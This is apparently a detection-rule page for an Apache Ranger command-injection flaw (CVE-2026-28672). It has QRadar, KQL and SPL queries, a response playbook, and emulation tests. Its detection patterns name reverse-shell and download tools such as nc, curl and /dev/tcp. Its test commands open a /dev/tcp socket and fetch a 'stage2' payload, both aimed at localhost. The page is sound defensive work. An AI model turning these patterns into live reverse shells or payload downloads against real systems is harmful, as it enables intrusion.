Detect Apache Ranger Command Injection (CVE-2026-28672) in IBM QRadar
Detects exploitation attempts and post-exploitation activity targeting CVE-2026-28672, a critical (CVSS 9.8) OS command injection vulnerability (CWE-77) in Apache Ranger versions >= 0.6.0 and <= 2.8.0. An attacker able to reach the Ranger Admin service or its policy/condition evaluation surface can inject shell metacharacters that are passed to an OS command execution context, achieving remote code execution as the Ranger service account. Detection focuses on the Ranger Admin/Java process (ranger-admin, EmbeddedServer) spawning shell interpreters or command-injection payload patterns in Ranger HTTP request logs.
MITRE ATT&CK
- Tactic
- Initial Access Execution
QRadar Detection Query
SELECT QIDNAME(qid) AS event, "sourceip", "destinationip", "username", "Process Name" AS process, "Parent Process Name" AS parent, "Process CommandLine" AS cmd, starttime FROM events WHERE LOGSOURCETYPENAME(devicetype) IN ('Microsoft Windows Security Event Log','Linux OS','Sysmon') AND "Parent Process Name" ILIKE '%java%' AND ("Process CommandLine" ILIKE '%ranger%' OR "Parent Process CommandLine" ILIKE '%org.apache.ranger%') AND "Process Name" IMATCHES '.*(bash|sh|dash|zsh|python|perl|nc|ncat|curl|wget|powershell).*' AND "Process CommandLine" IMATCHES '.*(-c|/dev/tcp|base64|bash -i|\$\(|`|;|\|).*' ORDER BY starttime DESC LAST 24 HOURS QRadar AQL detecting Ranger Java process spawning shells with injection payloads for CVE-2026-28672.
Data Sources
Required Tables
False Positives & Tuning
- Ranger init scripts launching shells
- Admin maintenance under ranger service account
- Monitoring tooling launched from Ranger process tree
Other platforms for CVE-2026-28672
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Ranger command injection via shell metacharacters
Expected signal: Process start event for bash with parent java and command line containing 'echo RANGER_CMD_INJECTION_TEST'.
- Test 2Simulate reverse-shell payload from Ranger context
Expected signal: Process start with command line referencing /dev/tcp and an outbound socket attempt to 127.0.0.1:9999.
- Test 3Simulate payload download via curl from Ranger process tree
Expected signal: Process start for curl with an HTTP URL and output redirection, parented by a shell under java.
Response Playbook
Triage
- Confirm the affected host runs Apache Ranger Admin and identify the deployed version; if it is >= 0.6.0 and <= 2.8.0 it is vulnerable to CVE-2026-28672.
- Review the parent-child process chain: verify the shell/network utility was actually spawned by the Ranger Java process (ranger-admin/EmbeddedServer) rather than a legitimate init script.
- Correlate the process start time with Ranger Admin HTTP access logs to locate the triggering request, source IP, and injected payload.
- Check whether the spawned process established outbound network connections (reverse shell, curl/wget to attacker infrastructure).
Containment
- Isolate the affected Ranger Admin host from the network to prevent lateral movement and further command execution.
- Block the identified attacker source IP(s) at the perimeter and restrict access to the Ranger Admin port (default 6080/6182) to trusted management networks.
- Rotate the Ranger service account credentials and any secrets accessible from the Ranger process (DB credentials, policy sync keys).
Evidence Collection
- Capture the full process tree, command lines, and environment of the Ranger Java process and its children.
- Preserve Ranger Admin access/application logs (ranger-admin-*.log, xa_portal.log) and the web server access logs covering the injection request.
- Collect any dropped files, shell history, and outbound connection records (auditd, netflow, EDR) associated with the spawned processes.
Escalation Criteria
- !Escalate to incident response if a reverse shell, outbound C2 connection, or secondary payload download is confirmed.
- !Escalate to the data/security owner if the Ranger policy store or backing database shows signs of credential access or unauthorized policy modification.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Ranger Admin logs (xa_portal.log, ranger-admin-*.log) containing the malformed policy/condition request - >
Process ancestry showing java -> shell -> network utility - >
auditd execve records and shell history under the ranger service account
Tuning Guidance
Baseline the legitimate shell invocations from Ranger startup and maintenance scripts (ranger-admin-services.sh, DB setup, log rotation) and exclude those specific command lines. Restrict the parent match to hosts confirmed to run Ranger Admin to cut noise from unrelated Java applications. Tighten the payload regex to your environment's observed injection markers once a true positive is characterized.
Hunting Queries
Hunts for any child shell/network process spawned by the Ranger Java process regardless of payload heuristics.
DeviceProcessEvents | where InitiatingProcessFileName == "java" and InitiatingProcessCommandLine has "org.apache.ranger" | where FileName in~ ("bash","sh","nc","curl","wget","python3") | project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine index=edr parent_process_name=java parent_process=*org.apache.ranger* process_name IN ("bash","sh","nc","curl","wget","python3") | table _time host user process Atomic Red Team Tests
Emulates a command-injection payload evaluated by a Ranger-like Java parent that passes attacker input to a shell.
Command
java -version 2>/dev/null; bash -c 'id; echo RANGER_CMD_INJECTION_TEST > /tmp/ranger_cve_2026_28672.txt' Cleanup
rm -f /tmp/ranger_cve_2026_28672.txt Expected Telemetry
Process start event for bash with parent java and command line containing 'echo RANGER_CMD_INJECTION_TEST'.
Expected Detection
KQL/SPL/EDR rules fire on java parent spawning bash -c with injection markers.
Emulates the /dev/tcp reverse-shell pattern commonly seen after CVE-2026-28672 exploitation.
Command
bash -c 'exec 3<>/dev/tcp/127.0.0.1/9999 || echo reverse_shell_attempt_logged' Cleanup
echo 'no artifacts to remove' Expected Telemetry
Process start with command line referencing /dev/tcp and an outbound socket attempt to 127.0.0.1:9999.
Expected Detection
Detection matches the /dev/tcp indicator in the process command line.
Emulates second-stage payload retrieval using curl invoked as a child of a Java process.
Command
bash -c 'curl -s http://127.0.0.1/malicious_stage2 -o /tmp/stage2 || echo download_attempt_logged' Cleanup
rm -f /tmp/stage2 Expected Telemetry
Process start for curl with an HTTP URL and output redirection, parented by a shell under java.
Expected Detection
Detection matches curl/wget child processes with network fetch indicators in the Ranger process tree.